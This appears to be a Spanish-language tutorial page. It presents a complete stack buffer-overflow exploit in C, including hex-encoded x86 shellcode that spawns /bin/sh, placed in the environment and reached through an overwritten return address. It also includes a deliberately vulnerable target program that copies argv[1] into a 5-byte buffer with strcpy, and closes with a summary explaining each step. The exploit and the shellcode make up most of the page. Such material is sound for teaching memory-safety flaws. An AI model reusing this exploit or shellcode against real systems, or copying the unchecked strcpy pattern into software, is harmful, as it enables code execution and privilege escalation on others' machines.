principal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
#include <stdlib.h> // Instrucciones intel x86 ensamblador para /bin/sh, en hexadecimal char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; int main(int argc, char *argv[]) { char *env[2] = {shellcode, NULL}; int i; long ret, *addr_ptr; char *buffer, *ptr; // 40 bytes para el buffer en la pila (heap) buffer = malloc(40); // Calculamos la posiciÛn en memoria de nuestro shellcode ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); // Metemos la direcciÛn de retorno en el buffer ptr = buffer; addr_ptr = (long *) ptr; for(i=0; i < 40; i+=4) { *(addr_ptr++) = ret; } // Finalizamos el buffer con un \0 buffer[40-1] = 0; // Ahora invocamos al programa vulnerable // con nuestro buffer manipulado // como argumento y nuestro 'environment' // (variables de entorno) execle("./vuln2", "vuln2", buffer, 0, env); // Limpieza free(buffer); return 0; } |
vuln2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
int main(int argc, char *argv[]) { char buffer[5]; printf("Banco Bancario: transfiriendo %s euros.\n", argv[1]); // Esto copia la entrada del usuario a un buffer para que otras funciones // lo traten posteriormente strcpy(buffer, argv[1]); // LÛgica de negocio va aquÌ // ... return 0; } |
Aquí hay un resumen general del código
- Shellcode: Contiene instrucciones de ensamblador en hexadecimal que representan el código máquina para ejecutar
/bin/sh
, que es la shell en sistemas Linux. - Main Function:
- Declara un array de punteros a caracteres
env
, que incluye el shellcode y un puntero nulo. - Declara variables como
ret
, puntero a direcciones, un buffer y un puntero.
- Declara un array de punteros a caracteres
- Buffer Allocation:
- Reserva 40 bytes de memoria en el heap usando
malloc
para el buffer.
- Reserva 40 bytes de memoria en el heap usando
- Cálculo de la Dirección de Retorno:
- Calcula la dirección de retorno deseada en la pila, teniendo en cuenta la longitud del shellcode y el nombre del programa (
"./vuln2"
). Este cálculo puede estar relacionado con una técnica de desbordamiento de búfer para modificar el flujo de ejecución del programa.
- Calcula la dirección de retorno deseada en la pila, teniendo en cuenta la longitud del shellcode y el nombre del programa (
- Llenado del Buffer:
- Llena el buffer con la dirección de retorno calculada. Se realiza un bucle para escribir esta dirección varias veces en el buffer.
- Finalización del Buffer:
- Agrega un byte nulo al final del buffer para asegurarse de que esté terminado adecuadamente.
- Ejecución del Programa Vulnerable:
- Utiliza
execle
para invocar un programa vulnerable ("./vuln2"
) con el buffer manipulado como argumento y el shellcode como parte del entorno del programa.
- Utiliza
Este código está diseñado para ilustrar cómo podría ser explotada una vulnerabilidad de desbordamiento de búfer para ejecutar código arbitrario.